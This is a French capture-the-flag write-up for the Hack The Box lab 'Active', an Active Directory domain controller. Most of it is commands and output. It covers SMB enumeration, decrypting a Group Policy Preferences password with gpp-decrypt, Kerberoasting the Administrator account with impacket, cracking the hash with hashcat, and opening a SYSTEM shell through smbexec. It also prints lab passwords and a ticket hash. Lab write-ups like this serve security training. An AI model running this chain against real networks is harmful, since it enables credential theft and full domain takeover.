Active

smb Policies kerberos gpp-decrypt

• Nom machine : Active

• Difficulté : Moyenne

• OS : Windows - AD

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 08:16 EST
Stats: 0:01:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.30% done; ETC: 08:17 (0:00:06 remaining)
Nmap scan report for 10.10.10.100
Host is up (0.031s latency).
Not shown: 65512 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-05 13:16:55Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49166/tcp open  msrpc         Microsoft Windows RPC
49168/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

SMB

┌──(kali㉿kali)-[~]
└─$ smbmap -H 10.10.10.100

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - [e-mail]
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 10.10.10.100:445	Name: 10.10.10.100        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	NO ACCESS	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	Replication                                       	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share 
	Users                                             	NO ACCESS	

Nous pouvons nous connecter à Replication.

Accès initial

smb: \active.htb\policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> mget *
Get file Groups.xml? yes
getting file \active.htb\policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (4.2 KiloBytes/sec) (average 4.2 KiloBytes/sec)
smb: \active.htb\policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> exit

┌──(kali㉿kali)-[~]
└─$ cat Groups.xml                                                                  
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

┌──(kali㉿kali)-[~]
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ 
GPPstillStandingStrong2k18

active.htb\SVC_TGS:GPPstillStandingStrong2k18

Nous pouvons nous connecter via smb pour obtenir le flag.

Elévation des privilèges

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.10.10.100 -request
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2024-11-04 12:16:11.402958             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$cc8c048dabd61137257204b4634e5fb6$21dec212ca51c2d70e09f8c7adaeace8b4193b3a1c27fe4e18c31a4c15958df9aefb55e300eeef151728e4c0e504cb9c5a7d86df652f0c8c42b27a4f1cc2b06c606c4fd5dc4366632bf21330cb2720c8328de3c99c73e456d2942ef9543574ca5d365440538fcc92767a7859fc414bef3ba62efca70d8a1d044e7aff8f9c1a5b487959e7dde31e2f23aed73810810923fa4925cb9817375b10dacf90ccbf8807b1fc75a7406c8315571e1c3f2151707c02d4422d02c095ed34fd19e260b9e2262fba32d73d9149040e0baa81fcb6145a9b7c6bdd37590cd3988a3695c346ed5ccd6dcfee4c580e61cfb6c116c13b408e9b30bad929765e15359080b74d3884d11bea6d7d6c2fc64e465db971f2162cb468cf371ac0811f952a08a81847d3b40e3b8f414303af05937244f91c809ec6ebe76adbaddea13c7a66e48b041ffa62af82867bc5bc8042820ebc4007dbbcb9a5ea6ae69b28b20a3fa2c4a2b3c9c6a38a9453d4f34406b821f0e71abc3f0346df1e7de466b2343c35f64cce01551d900d17bfe2b388576a3da5b26db433d174ba041ebdd1518cf78d6850f28dae669f67d17c80dd9e77c3ad855be63d3df1251c0373a21966a49fbdfb81bd28476c7cd4c901a72f7d6fa67a59143fe68b0e6ad24980c1d89e5eb47f563f5f4b9a141f468ca15ee06bb1b8fb7f0bc194e90703802c7fd24d66aec3bf8307d7ef456da11f1a8ad895e9f099d3fc4574617240c590ca63d091231317743ddd0fb90ec5031822116b827b0b45c6b2af945e31cbd118a6d52576a1791d3d9746940bb32f02b04205cc0cf445abee3a6bbd2236e463e1e4c9e7c53217eb18863de78a4387b766ef4f8696b5c699f6c2015f1347de21886137d21fd000c2beb781aec697b9122e3e8df41133bce1800575d244fcc8494a40fc0679a4c917d5da292715123d435dc4871923e2b7410571c72cbefd747ca763ef0e84f580ec4ac0e148a4b9042ff72fab734ec0dc11c5c819608ae3b9d8f22aa1d2edaeb852712bc67091cc085102f7e8f4beb8fbd15c389571265e1cec5618f2f3da3ade612d19d15cf89543de932513b9bcf8329174cba9321ef3d79d297a0e0ecca48146e9e78918b9916604729a2908bd72a0b5b307db9b1bdfbd6c17183a1e873543cdb3c8549613d2434c90aead64fff3d0afff624c1845c868273e52dd4da300d03a29eb7bbf1cd24a1cae339b9733aa93c3617953209828927e7617127f1bac7759605035

┌──(kali㉿kali)-[~/htb/active]
└─$ hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force --potfile-disable
hashcat (v6.2.6) starting

{...}

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$cc8c048dabd61137257204b4634e5fb6$21dec212ca51c2d70e09f8c7adaeace8b4193b3a1c27fe4e18c31a4c15958df9aefb55e300eeef151728e4c0e504cb9c5a7d86df652f0c8c42b27a4f1cc2b06c606c4fd5dc4366632bf21330cb2720c8328de3c99c73e456d2942ef9543574ca5d365440538fcc92767a7859fc414bef3ba62efca70d8a1d044e7aff8f9c1a5b487959e7dde31e2f23aed73810810923fa4925cb9817375b10dacf90ccbf8807b1fc75a7406c8315571e1c3f2151707c02d4422d02c095ed34fd19e260b9e2262fba32d73d9149040e0baa81fcb6145a9b7c6bdd37590cd3988a3695c346ed5ccd6dcfee4c580e61cfb6c116c13b408e9b30bad929765e15359080b74d3884d11bea6d7d6c2fc64e465db971f2162cb468cf371ac0811f952a08a81847d3b40e3b8f414303af05937244f91c809ec6ebe76adbaddea13c7a66e48b041ffa62af82867bc5bc8042820ebc4007dbbcb9a5ea6ae69b28b20a3fa2c4a2b3c9c6a38a9453d4f34406b821f0e71abc3f0346df1e7de466b2343c35f64cce01551d900d17bfe2b388576a3da5b26db433d174ba041ebdd1518cf78d6850f28dae669f67d17c80dd9e77c3ad855be63d3df1251c0373a21966a49fbdfb81bd28476c7cd4c901a72f7d6fa67a59143fe68b0e6ad24980c1d89e5eb47f563f5f4b9a141f468ca15ee06bb1b8fb7f0bc194e90703802c7fd24d66aec3bf8307d7ef456da11f1a8ad895e9f099d3fc4574617240c590ca63d091231317743ddd0fb90ec5031822116b827b0b45c6b2af945e31cbd118a6d52576a1791d3d9746940bb32f02b04205cc0cf445abee3a6bbd2236e463e1e4c9e7c53217eb18863de78a4387b766ef4f8696b5c699f6c2015f1347de21886137d21fd000c2beb781aec697b9122e3e8df41133bce1800575d244fcc8494a40fc0679a4c917d5da292715123d435dc4871923e2b7410571c72cbefd747ca763ef0e84f580ec4ac0e148a4b9042ff72fab734ec0dc11c5c819608ae3b9d8f22aa1d2edaeb852712bc67091cc085102f7e8f4beb8fbd15c389571265e1cec5618f2f3da3ade612d19d15cf89543de932513b9bcf8329174cba9321ef3d79d297a0e0ecca48146e9e78918b9916604729a2908bd72a0b5b307db9b1bdfbd6c17183a1e873543cdb3c8549613d2434c90aead64fff3d0afff624c1845c868273e52dd4da300d03a29eb7bbf1cd24a1cae339b9733aa93c3617953209828927e7617127f1bac7759605035:Ticketmaster1968

{...}

┌──(kali㉿kali)-[~/htb/active]
└─$ impacket-smbexec administrator:'Ticketmaster1968'@10.10.10.100
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>type /users/administrator/desktop/root.txt
The syntax of the command is incorrect.

C:\Windows\system32> whoami
nt authority\system